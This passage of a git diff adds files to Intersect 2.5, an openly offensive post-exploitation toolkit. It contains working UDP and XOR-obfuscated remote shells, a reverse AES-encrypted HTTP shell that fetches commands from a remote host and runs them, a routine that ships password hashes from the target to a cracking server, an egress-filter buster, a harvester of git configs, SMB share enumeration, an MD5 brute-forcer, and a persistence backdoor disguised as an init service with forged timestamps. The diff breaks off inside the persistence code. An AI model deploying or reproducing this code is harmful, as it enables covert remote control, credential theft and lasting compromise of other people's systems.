b/Intersect-2.5/Tools/Standalone-Shells/UDP/udp-client.py new file mode 100644 index 0000000..4443714 --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/UDP/udp-client.py @@ -0,0 +1,51 @@ +#!/usr/bin/python + +# Intersect 2.5 +# UDP Shell Client +# https://github.com/ohdae/Intersect-2.0 + +import os, sys +import socket + +try: + host = sys.argv[1] +except IndexError: + print("Intersect 2.5 - UDP Shell Client.") + print("Usage: ./UDP-Client.py serverIP") + print("[!] You must specify a host IP address!") + sys.exit() + +port = 21541 +buf = 1024 +addr = (host,port) + +# Create socket +UDPSock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +print("UDP Interactive Shell.\nEnter ':help' for a list of extra available commands.") + +while 1: + cmd = raw_input("Intersect => ") + (UDPSock.sendto(cmd,addr)) + + if cmd == ":killme": + (UDPSock.sendto(":killme",addr)) + print("[!] Closing shell connection!") + sys.exit(0) + + elif cmd == ":help": + print("Available Commands:\n") + print(":help | this menu") + print(":mods | list loaded modules") + print(":temp | go to Intersect session directory") + print(":addroot name | add new root account with 'name'") + print(":exec module | executes Intersect 'module'") + print(":killme | closes shell connection") + + elif cmd.startswith(":exec"): + print("[!] Command not fully implemented yet. Sorry!") + + else: + data,addr = UDPSock.recvfrom(buf) + print data + +UDPSock.close() diff --git a/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/README b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/README new file mode 100644 index 0000000..f1d8961 --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/README @@ -0,0 +1,18 @@ +The XMLRPC Cracking Utility is originally written by Stephen Haywood aka AverageSecurityGuy +You can find the original version at https://github.com/averagesecurityguy/crack/ + +Important! This module has not been fully tested so there may be some bugs. If you find anything wrong with this, please let me know. + +Instructions: + +When you build your custom Intersect script, you will be asked to define a Remote Host (your XML servers IP) and a Remote Port (the XML servers port). +Make sure you start crackserver.py with the correct host and port information before you attempt to run XMLCrack on the target host side. + +Edit the crack.cfg file to suit you specific needs. There are instructions within crack.cfg that explain how you should do this. + +1) Start your CrackServer.py XMLRPC server +2) Run "./Script.py --xmlcrack filename hashtype" on the target system +3) The target system will open an XMLRPC connection to the system running CrackServer.py +4) The target system will serve up the specified file and the specified hash type +5) The CrackServer will use Crack.py and Crack.cfg to attempt to crack the hashes within the specified file + diff --git a/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.cfg b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.cfg new file mode 100644 index 0000000..2a85f17 --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.cfg @@ -0,0 +1,44 @@ +#Configuration file for CrackManager +# +#Each line of the file defines the type of password to crack and the command +#used to crack it. Multiple commands can be defined for each password type. +#The commands will be tried in order from top to bottom. Each command line +#should define include the {file} and {output} tags in the appropriate places. +# +#To simplify some of the code we define two hash types of pwdump and dcc. +#Commands associated with the pwdump type must accept a file in pwdump format. +#Commands associated with dcc should accept a file in the hash:username format, +#similar to hashcat. +# +#Example +#pwdump|rcracki_mt.exe -f {file} -t 4 -o {output} tables\lm +#ntlm|hashcat -m 1000 {file} lists\rockyou.txt -r rules\best64.rule +#ntlm|hashcat -m 1000 {file} lists\rockyou.txt -r rules\d3ad_one-28k.rule +#dcc|hashcat -m 1100 {file} lists\english_6 -r rules\best64.rule + +#pwdump files +#pwdump|jtr/run/john --single {file} +pwdump|rcracki/rcracki_mt -f {file} -t 4 tables/lm + +#DCC files +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_6.txt -r rules/best64.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_6.txt -r rules/passwordspro.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_6.txt -r rules/d3ad0ne_23.8K.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_7.txt -r rules/best64.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_7.txt -r rules/passwordspro.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_7.txt -r rules/d3ad0ne_23.8K.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_8.txt -r rules/best64.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_8.txt -r rules/passwordspro.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_8.txt -r rules/d3ad0ne_23.8K.rule + +#ntlm hashes +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_6.txt -r rules/best64.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_6.txt -r rules/passwordspro.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_6.txt -r rules/d3ad0ne_23.8K.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_7.txt -r rules/best64.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_7.txt -r rules/passwordspro.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_7.txt -r rules/d3ad0ne_23.8K.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_8.txt -r rules/best64.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_8.txt -r rules/passwordspro.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_8.txt -r rules/d3ad0ne_23.8K.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/rockyou.txt -r /rules/best64.rule diff --git a/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.py b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.py new file mode 100644 index 0000000..186afdc --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.py @@ -0,0 +1,233 @@ +#!/usr/bin/python +# Copyright 2011 Stephen Haywood aka AverageSecurityGuy +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# crack.py defines a CrackManager object and a CrackThread object, which +# are used to receive and process password cracking requests. +# + +import subprocess +import shlex +import threading +import os +import time +import re +import traceback + +#----------------------------------------------------------------------------- +# CrackThread Class +#----------------------------------------------------------------------------- +class CrackThread(threading.Thread): + """Takes an id, hash type, a hash list, and a list of commands. The hash + list should be in username:hash format except for pwdump and dcc hash + lists, which are special cases. The hash list is processed to extract + usernames and is then written to the disk to be used by each command. After + each command is run the results are processed, added to the results array, + and the cracked hashes are removed from the hash file.""" + + def __init__(self, id, hash_type, hash_list, commands): + threading.Thread.__init__(self) + self.id = id + self.hash_type = hash_type + self.hash_list = hash_list + self.commands = commands + self.hash_file = id + '.hash' + self.results = [] + self.hashes = {} + self.complete = False + + def __del__(self): + """Remove the temporary hash file""" + os.remove(self.hash_file) + + def process_hash_list(self): + """Process the file passed to us and extract the usernames, then write + the file to disk for processing by the commands. Pwdump files and DCC + files are special cases. The typical input should be username:hash""" + + if self.hash_type == 'pwdump': + for line in self.hash_list: + user, id, lm, ntlm, a, b, c = line.split(':') + self.hashes[lm.lower()] = user + + self.write_file() + + elif self.hash_type == 'dcc': + for line in self.hash_list: + dcc, user = line.split(':') + self.hashes[dcc.lower()] = user + + self.write_file() + + else: + hashes = [] + for line in self.hash_list: + user, hash = line.split(':') + self.hashes[hash.lower()] = user + hashes.append(hash.lower()) + + self.write_file(hashes) + + def remove_found_hash(self, hash): + """Remove the found hash from the hash list, which will be rewritten to + the disk. This prevents us from cracking the same password twice.""" + + del self.hashes[hash] + for line in self.hash_list: + if re.search(hash, line): + self.hash_list.remove(line) + + def process_user(self, user, password): + """Writes the username, hash and password to the results array. Finds + the hash using the user. After the results are written, we remove + the found hash from the hash file on disk.""" + + if user in self.hashes.itervalues(): + for k, v in self.hashes.iteritems(): + if v == user: + self.results.append(user + ':' + k + ':' + password) + self.remove_found_hash(hash) + + def process_hash(self, hash, password): + """Writes the username, hash and password to the results array. Finds + the user using the hash. After results are written, we remove the found + hash from the hash file on the disk.""" + + if hash in self.hashes.iterkeys(): + self.results.append(self.hashes[hash] + ':' + hash + ':' + password) + self.remove_found_hash(hash) + + def process_output(self, output): + """Uses regular expressions to find hashes and passwords in results and + passes them to either the process_hash or process_user function. Pwdump + and DCC results are different than typical results for other hash types + so I have separated them as special cases. I have REs for outputs from + common programs such as rcracki and hashcat. Other REs may need to be + added for outputs from other programs.""" + + if self.hash_type == 'pwdump': + # All REs here should be for proccessing results of pwdump commands + # RE for output from rcracki_mt + for r in re.finditer("([A-Za-z0-9.]+)\s+(.?)\s+hex:.*", output): + self.process_user(r.group(1), r.group(2)) + + elif self.hash_type == 'dcc': + #All REs here should be for processing results of dcc commands + # RE for DCC output for hashcat family + for r in re.finditer("([0-9a-f]{16,}):.*:(.*)", output): + self.process_hash(r.group(1), r.group(2)) + else: + # RE for standard output for hashcat family + for r in re.finditer("([0-9a-f]{16,}):(.*)", output): + self.process_hash(r.group(1), r.group(2)) + + def write_file(self, hashes=None): + """Write the hashes to a file for use by the cracking commands.""" + if hashes == None: + hashes = self.hash_list + + f = open(self.hash_file, 'w') + for line in hashes: + f.write(line + '\n') + f.close() + + def fix_cmd(self, cmd): + for c in xrange(len(cmd)): + if cmd[c] == '{file}': cmd[c] = self.hash_file + return cmd + + def run(self): + """For each command, process the hash_list, modify the command to + include the correct file name on disk, and run the command. Once the + command is run, we process the output, which include updating the hash + list to remove found hashes.""" + + for cmd in self.commands: + self.process_hash_list() + cmd = self.fix_cmd(cmd) + self.process_output(subprocess.check_output(cmd)) + + self.complete = True + + +#------------------------------------------------------------------------------ +# CrackManager Class +#------------------------------------------------------------------------------ +class CrackManager(): + + def __init__(self, config): + self.config = {} + self.load_cfg(config) + self.processes = {} + + def load_cfg(self, config): + """Load configuration file. Blank lines and comments are skipped. + Confirms each command exists but does not confirm the arguments to the + command.""" + try: + cfgfile = open(config, 'r') + for line in cfgfile: + if re.match('^$', line): continue + if re.match('^#.*$', line): continue + h, c = line.split('|') + cmd = shlex.split(c.rstrip('\r\n')) + + # Split off the command so we can verify it exists. + if os.path.exists(cmd[0]): + if h in self.config.keys(): + self.config[h].append(cmd) + else: + self.config[h] = [] + self.config[h].append(cmd) + else: + raise Exception("Command {0} does not exist.".format(cmd[0])) + + except Exception, err: + raise Exception("Error loading configuration file: \n{0}\n{1}\n".format(str(err), traceback.print_exc())) + + def crack_passwords(self, hlist, htype): + """Accepts an array and hash type from the xmlrpc client. Creates an id + and a CrackThread object and passes the id, array, and hash type to it. + Returns the id so that results can be obtained later. + + If a hash type is not supported by the server then it returns id 0.""" + + id = 0 + message = '' + if htype in self.config.iterkeys(): + id = str(int(time.time())) + message = "Request accepted by server." + self.processes[id] = CrackThread(id, htype, hlist, self.config[htype]) + self.processes[id].start() + else: + message = "Server does not support the hash type requested." + + return id, message + + def get_progress(self, id): + """Accepts an id and provides the results for the CrackThread with that + id. Gets a copy of the results and clears them to prevent duplicates. + If the process is complete, it is removed from the process dictionary. + Returns completion status and current results.""" + + r = self.processes[id].results + self.processes[id].results = [] + + c = self.processes[id].complete + if c: + #If the thread is complete remove CrackThread from processes dict + del(self.processes[id]) + + return c, r diff --git a/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crackserver.py b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crackserver.py new file mode 100644 index 0000000..4f66a3e --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crackserver.py @@ -0,0 +1,61 @@ +#! /usr/bin/python +# Copyright 2011 Stephen Haywood aka AverageSecurityGuy +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Crackserver uses the crack.py module to setup a XMLRPC server to handle +# password cracking requests. +# + +import SimpleXMLRPCServer as sxml +import crack +import argparse + +desc = """Crackserver uses the crack.py module to setup a XMLRPC server to +handle password cracking requests.""" + +parser = argparse.ArgumentParser(description=desc) +parser.add_argument('-l', action='store', default='127.0.0.1', + help='IP address to listen on. (default: 127.0.0.1)') +parser.add_argument('-p', action='store', default='8000', + help='Port to listen on. (default: 8000)') +parser.add_argument('-c', action='store', default='crack.cfg', + help='Configuration file. (default: crack.cfg)') + +args = parser.parse_args() + +# Create new CrackManager object to handle cracking process. +try: + c = crack.CrackManager(args.c) + print "CrackManager configured successfully" +except Exception, err: + print "CrackManager configuration unsuccessful:\n" + print str(err) + exit() + +try: + server = sxml.SimpleXMLRPCServer((args.l, int(args.p)), + requestHandler=sxml.SimpleXMLRPCRequestHandler) + print "XMLRPC server configuration successful." +except Exception, err: + print "XMLRPC server configuration unsuccessful:\n" + print str(err) + exit() + +# Register CrackManager functions to be used with by XMLRPC client. +server.register_introspection_functions() +server.register_function(c.crack_passwords, 'crack') +server.register_function(c.get_progress, 'results') +server.serve_forever() + diff --git a/Intersect-2.5/Tools/Standalone-Shells/XMPP/xmpp-listener.py b/Intersect-2.5/Tools/Standalone-Shells/XMPP/xmpp-listener.py new file mode 100644 index 0000000..e69de29 diff --git a/Intersect-2.5/Tools/Standalone-Shells/XOR/xor-client.py b/Intersect-2.5/Tools/Standalone-Shells/XOR/xor-client.py new file mode 100644 index 0000000..2429485 --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/XOR/xor-client.py @@ -0,0 +1,87 @@ +#!/usr/bin/python + +# Intersect 2.5 +# XOR Shell Client +# trial version. don't expect this to work all that well. + +import os, sys +import socket +from subprocess import Popen,PIPE,STDOUT,call + +def xor(string, key): + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + +socksize = 4096 +conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + +try: + HOST = sys.argv[1] + PORT = int(sys.argv[2]) + pin = sys.argv[3] + +except IndexError: + print("You must specify an IP address, port and XOR cipher key.") + print("usage: ./tcp-client.py 192.168.1.4 4444 KEY") + sys.exit() + +try: + conn.connect((HOST, PORT)) + print("[+] New connection established!") + print("[+] Starting Intersecting shell....") + print("[+] Type ':help' to view all available commands") +except: + print("[!] Connection error!") + sys.exit(2) + +while True: + data = conn.recv(socksize) + data2 = xor(data, pin) + msg = raw_input(data2) + cmd = xor(msg, pin) + conn.sendall(str(cmd)) + if msg == (':killme'): + print("[!] Shutting down shell!") + conn.close() + sys.exit(0) + elif msg.startswith(':download'): + getname = msg.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, pin) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.exists(filename) is True: + print("[+] Download complete.") + print("[+] File location: " + os.getcwd()+"/"+filename) + elif msg.startswith(':upload'): + getname = msg.split(" ") + loc_file = getname[1] + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, pin) + conn.sendall(senddata) + elif msg == (":exec"): + print("Feature not yet fully implemented!") + elif msg == (":help"): + print(" Available Commands: ") + print("---------------------------------") + print(" :download | download file from host") + print(" :upload | upload file to host") + print(" :mods | list available modules") + print(" :exec | run Intersect tasks") + print(" :addroot | add new root account") + print(" :reboot | reboot remote host system") + print(" :help | display this menu") + print(" :killme | shuts down shell connection\n") + print("* If the shell appears to hang after sending or receiving data, press [enter] and it should fix the issue.") + +conn.close() + diff --git a/Intersect-2.5/Tools/Standalone-Shells/XOR/xor-listener.py b/Intersect-2.5/Tools/Standalone-Shells/XOR/xor-listener.py new file mode 100644 index 0000000..ef45dc2 --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/XOR/xor-listener.py @@ -0,0 +1,108 @@ +#!/usr/bin/python + +# Intersect 2.5 +# XOR Shell Listener +# trial version. don't expect this to work all that well. + +import os, sys +import socket +import time + +activePID = [] +socksize = 4096 + +try: + HOST = sys.argv[1] + PORT = int(sys.argv[2]) + pin = sys.argv[3] +except IndexError: + print("You must specify an IP address, port and XOR cipher key.") + print("usage: ./tcp-client.py 192.168.1.4 4444 KEY") + sys.exit() + +server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) +server.bind((HOST, PORT)) +server.listen(5) +print("Listening on port %s for 5 connetions..." % PORT) + + +def reaper(): + while activePID: + pid,stat = os.waitpid(0, os.WNOHANG) + if not pid: break + activePID.remove(pid) + + +def xor(string, key): + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + +def accept(): + while 1: + conn, addr = server.accept() + print "[!] New connection!" + reaper() + childPid = os.fork() + if childPid == 0: + handler(conn) + else: + activePID.append(childPid) + +def handler(conn): + time.sleep(3) + + while True: + data = conn.recv(socksize) + data2 = xor(data, pin) + msg = raw_input(data2) + cmd = xor(msg, pin) + conn.sendall(str(cmd)) + if msg == (':killme'): + print("[!] Shutting down shell!") + conn.close() + sys.exit(0) + elif msg.startswith(':download'): + getname = msg.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, pin) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.exists(filename) is True: + print("[+] Download complete.") + print("[+] File location: " + os.getcwd()+"/"+filename) + elif msg.startswith(':upload'): + getname = msg.split(" ") + loc_file = getname[1] + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, pin) + conn.sendall(senddata) + elif msg == (":exec"): + print("Feature not yet fully implemented!") + elif msg == (":help"): + print(" Available Commands: ") + print("---------------------------------") + print(" :download | download file from host") + print(" :upload | upload file to host") + print(" :mods | list available modules") + print(" :exec | run Intersect tasks") + print(" :addroot | add new root account") + print(" :reboot | reboot remote host system") + print(" :help | display this menu") + print(" :killme | shuts down shell connection\n") + print("* If the shell appears to hang after sending or receiving data, press [enter] and it should fix the issue.") + + conn.close() + os._exit(0) + +accept() + diff --git a/Intersect-2.5/Tools/md5crack.py b/Intersect-2.5/Tools/md5crack.py new file mode 100644 index 0000000..85c43a7 --- /dev/null +++ b/Intersect-2.5/Tools/md5crack.py @@ -0,0 +1,66 @@ +#!/usr/bin/python +# This script uses a bruteforce method to crack MD5 hashes +# If the password length is longer than ~10 characters, it could take a considerable time to crack +# Also, this code can be very CPU intensive if you are running it for long periods of time +# or running several instances at once. Be kind to it, it just a proof of concept. + +import itertools +import sys +import hashlib +import time + +lower = 'abcdefghijklmnopqrstuvwxyz' +upper = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' +lowup = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' +numbers = '1234567890' +lownum = 'abcdefghijklmnopqrstuvwxyz1234567890' +upnum = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890' +all = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890' + +def brutecrack(): + length = int(sys.argv[2]) + 1 + + if sys.argv[1] == '-l': + final = lower + elif sys.argv[1] == '-U': + final = upper + elif sys.argv[1] == '-n': + final = numbers + elif sys.argv[1] == '-aA': + final = lowup + elif sys.argv[1] == '-ln': + final = lownum + elif sys.argv[1] == '-Un': + final = upnum + elif sys.argv[1] == '-all': + final = all + + for i in range(1,length): + for p in itertools.product(final, repeat=i): + crack = ''.join(p) + m = hashlib.md5() + m.update(crack) + if m.hexdigest() != sys.argv[3]: + print "[X] Failed attempt => ",crack + + + else: + print "[!] Success => ", crack + sys.exit() + +def main(): + if len(sys.argv) <=1: + print '''\nMD5-Crack :\n +python md5crack.py -all 10 5f4dcc3b5aa765d61d8327deb882cf99 +-l | Lowercase Only +-U | Uppercase Only +-n | Numbers Only +-ln | Alphanumeric(lower) +-Un | Alphanumeric(upper) +-all | All of Above\n''' + sys.exit(1) + else: + brutecrack() + +if __name__ == "__main__" : + main() diff --git a/Intersect-2.5/Tools/tabnanny.py b/Intersect-2.5/Tools/tabnanny.py new file mode 100644 index 0000000..286a116 --- /dev/null +++ b/Intersect-2.5/Tools/tabnanny.py @@ -0,0 +1,21 @@ +#!/usr/bin/python + +import tabnanny +import sys, os + +if len(sys.argv) <=1: + print("Tabnanny Helper Script") + print("What:\nThis script checks for the existence of tabs and indents within a specified Python script.") + print("Why:\nPython is a crappy whitespace language and will throw errors if you mix spaces and tabs.") + print("How:\nEnter the filename that you would like to check. Review it. Proceed to curse Python and then go write some Ruby.") + print("usage: ./tabnanny.py filename") + sys.exit() + +filename = sys.argv[1] + + + +file = open(filename) +for line in file.readlines(): + print repr(line) + diff --git a/Intersect-2.5/src/Modules/local/Custom/aeshttp b/Intersect-2.5/src/Modules/local/Custom/aeshttp new file mode 100644 index 0000000..4ab0511 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/aeshttp @@ -0,0 +1,57 @@ + +def aeshttp(): + ''' + @description: Starts a reverse HTTP shell with AES encryption that will connect back to a remote host. + @short: reverse AES HTTP shell + @author: original code by David Kennedy aka ReL1k + ''' + import httplib + import urllib + try: + from Crypto.Cipher import AES + except ImportError: + print("[!] Python Crypto library is not installed. This module will not work without this!") + sys.exit(2) + + BLOCK_SIZE = 32 + PADDING = '{' + pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING + EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) + DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) + + secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2" + + cipher = AES.new(secret) + + log_msg("\n\n [ Reverse AES HTTP shell executed ] ") + log_msg("\n Start Time: %s" % logtime) + + while 1: + + req = urllib2.Request('http://%s:%s' % (RHOST,RPORT)) + message = urllib2.urlopen(req) + message = base64.b64decode(message.read()) + message = DecodeAES(cipher, message) + + if message == "killme": + sys.exit() + + if message.startswith("cd"): + destination = message[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + else: + pass + + + proc = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + data = proc.stdout.read() + proc.stderr.read() + data = EncodeAES(cipher, data) + data = base64.b64encode(data) + data = urllib.urlencode({'cmd': '%s'}) % (data) + h = httplib.HTTPConnection('%s:%s' % (RHOST,RPORT)) + headers = {"User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)","Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} + h.request('POST', '/index.aspx', data, headers) + + diff --git a/Intersect-2.5/src/Modules/local/Custom/egressbuster b/Intersect-2.5/src/Modules/local/Custom/egressbuster new file mode 100644 index 0000000..319ccbe --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/egressbuster @@ -0,0 +1,46 @@ + +def egressbuster(): + ''' + @description: Checks a range of ports to find available outbound ports. used to break egress filters. + @author: original code by David Kennedy aka ReL1K + @short: finds open outbound ports + ''' + if len(sys.argv) <=2: + print("[!] Must specify a port-range!") + sys.exit() + + portrange = sys.argv[2] + portrange = portrange.split("-") + lowport = int(portrange[0]) + highport = int(portrange[1]) + base_port = int(lowport)-1 + end_port = int(highport) + + print "Sending packets to egress listener..." + + while 1: + base_port = base_port + 1 + thread.start_new_thread(start_socket, (RHOST,base_port)) + + time.sleep(0.02) + + if base_port == end_port: + break + + print "All packets have been sent" + log_msg("\n\n [ Executed Egress Buster ]") + log_msg("\n Start Time: %s" % logtime) + + +def start_socket(RHOST,base_port): + try: + sockobj = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sockobj.connect((RHOST, base_port)) + sockobj.send(str(base_port)) + sockobj.close() + except Exception, e: + print e + # pass through, ports closed + pass + + diff --git a/Intersect-2.5/src/Modules/local/Custom/getrepos b/Intersect-2.5/src/Modules/local/Custom/getrepos new file mode 100644 index 0000000..2fc74c5 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/getrepos @@ -0,0 +1,42 @@ + +def getrepos(): + ''' + @description: Tries to find various source code repositories and management tools. Git, SVN. + @author: ohdae [bindshell@live.com] + @short: search for source code repos + ''' + log_msg("\n\n [ GetRepos Module Executed ]") + log_msg("\n Start Time: %s" % logtime) + + maketemp("repos") + repodir = (Temp_Dir+"/repos") + os.chdir(repodir) + + users() + + if whereis('git') is not None: + os.system("find %s -name *.git > UserRepos.txt" % Home_Dir) + for user in userlist: + if os.path.exists("/home/%s" % user) and os.access("/home/%s" % user, os.R_OK): + os.system("find /home/%s -name *.git > %sRepos.txt" % (user, user)) + if os.path.exists("/home/%s/.gitconfig" % user): + proc = Popen('cat /home/%s/.gitconfig' % user, + shell=True, + stdout=PIPE, + ) + config = proc.communicate()[0] + writenew("GitConfigs.txt", config) + + if currentuser == "root": + if os.path.exists("%s/.gitconfig" % Home_Dir): + proc = Popen("cat %s/.gitconfig" % Home_Dir, + shell=True, + stdout=PIPE, + ) + rootconf = proc.communicate()[0] + writenew("GitConfigs.txt", rootconf) + + if whereis('svn') is not None: + for user in userlist: + if os.path.exists("/home/%s" % user) is True: + os.system("/usr/bin/find /home/%s -name *.svn > SvnRepos.txt" % user) diff --git a/Intersect-2.5/src/Modules/local/Custom/icmpshell b/Intersect-2.5/src/Modules/local/Custom/icmpshell new file mode 100644 index 0000000..ad9a107 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/icmpshell @@ -0,0 +1,2 @@ + +# Module coming soon. Starts an ICMP shell on the target system. diff --git a/Intersect-2.5/src/Modules/local/Custom/openshares b/Intersect-2.5/src/Modules/local/Custom/openshares new file mode 100644 index 0000000..637bd1f --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/openshares @@ -0,0 +1,35 @@ + +def openshares(): + ''' + @description: Uses smbclient to find open SMB shares on a specified host. Usage: ./Intersect.py --openshares 192.168.1.4 + @author: ohdae [bindshell@live.com] + @short: find open SMB shares + ''' + ipaddr = sys.argv[2] + + if whereis('smbclient') is None: + print("[!] SMBClient cannot be found on this system!") + sys.exit() + + else: + print("[+] Enumerating open shares....\n") + log_msg("\n\n [ SMB Shares Module executed ]") + log_msg("\n Start Time: %s" % logtime) + + os.popen("/usr/bin/smbclient -L %s -N" % ipaddr) + + getdisks = os.popen(r'/usr/bin/smbclient -L %s -N 2>/dev/null| grep " Disk " | sed -e "s/ Disk .*//" | sed -e "s/^[ \t]*//"' % ipaddr) + disks = getdisks.readlines() + disks = filter(None, disks) + disks = [d.strip() for d in disks] + getdisks.close() + + for disk in disks: + proc = Popen('/usr/bin/smbclient //%s/"%s" -N -c "dir;exit" 2>/dev/null'%(ipaddr,disk), + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + print("[+] Contents of %s " % disk) + print output + diff --git a/Intersect-2.5/src/Modules/local/Custom/persistent b/Intersect-2.5/src/Modules/local/Custom/persistent new file mode 100644 index 0000000..da46d06 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/persistent @@ -0,0 +1,82 @@ + +def persistent(): + ''' + @description: Installs any Intersect shell module as a persistent backdoor. Will start shell on every system reboot. + @author: ohdae [bindshell@live.com] | additional code and fixes by bonsaiviking + @short: install persistent backdoor + ''' + header = " => " + print("Select option: ") + print("1. Add new service") + print("2. Remove existing persistence") + option = raw_input("%s " % (header)) + + if option == '1': + addpersist() + elif option == '2': + if os.path.exists("/etc/init.d/sysupd") is True: + print("[+] Removing Intersect persistence...") + if whereis('chattr') is not None: + os.system("chattr -i /etc/init.d/sysupd") + os.system("chattr -i /etc/default/sysupd") + os.system("rm /etc/init.d/sysupd") + os.system("update-rc.d sysupd remove") + os.system("rm /etc/default/sysupd") + print("[+] Persistent shell successfully removed!") + log_msg("\n\n [ Removed Persistent Service ]") + log_msg("\n Start Time: %s" % logtime) + else: + print("[!] No existing persistent shell found!") + else: + print("[!] Invalid option! Enter '1' or '2'") + + +def addpersist(): + header = " => " + print("Full path of your Intersect script: ") + currentfile = raw_input("%s " % (header)) + + if os.path.exists(currentfile) is True: + shutil.copy2(currentfile, "/etc/default/sysupd") + else: + print("[!] Incorrect file path, Try again!") + persistent() + + + print("Specify which shell to use: ") + shell = raw_input("%s " % (header)) + + if shell in modList is False: + print("[!] Shell module not loaded!") + persistent() + else: + if os.path.isdir("/etc/init.d"): + serwrite = open("/etc/init.d/sysupd", "w") + serwrite.write("#!/bin/sh\ncd /etc/default/\npython sysupd --%s &" % shell) + serwrite.close() + os.system("chmod +x /etc/init.d/sysupd") + os.system("update-rc.d sysupd defaults") + print("[+] Persistent service installed.") + print("[+] Modifying accessed and modified times on shell files.") + copystat = os.stat('/etc/init.d/rcS') + os.utime("/etc/default/sysupd",(copystat.st_atime, copystat.st_mtime)) + os.utime("/etc/init.d/sysupd",(copystat.st_atime, copystat.st_mtime)) + print("[+] Attempting to lock down shell files...") + if whereis('chattr') is not None: + status = os.system("chattr +i /etc/default/sysupd") + if status & 0xff00: + print("[!] Chattr exited with non-zero status. Could not lock files.") + status = os.system("chattr +i /etc/init.d/sysupd") + if status & 0xff00: + 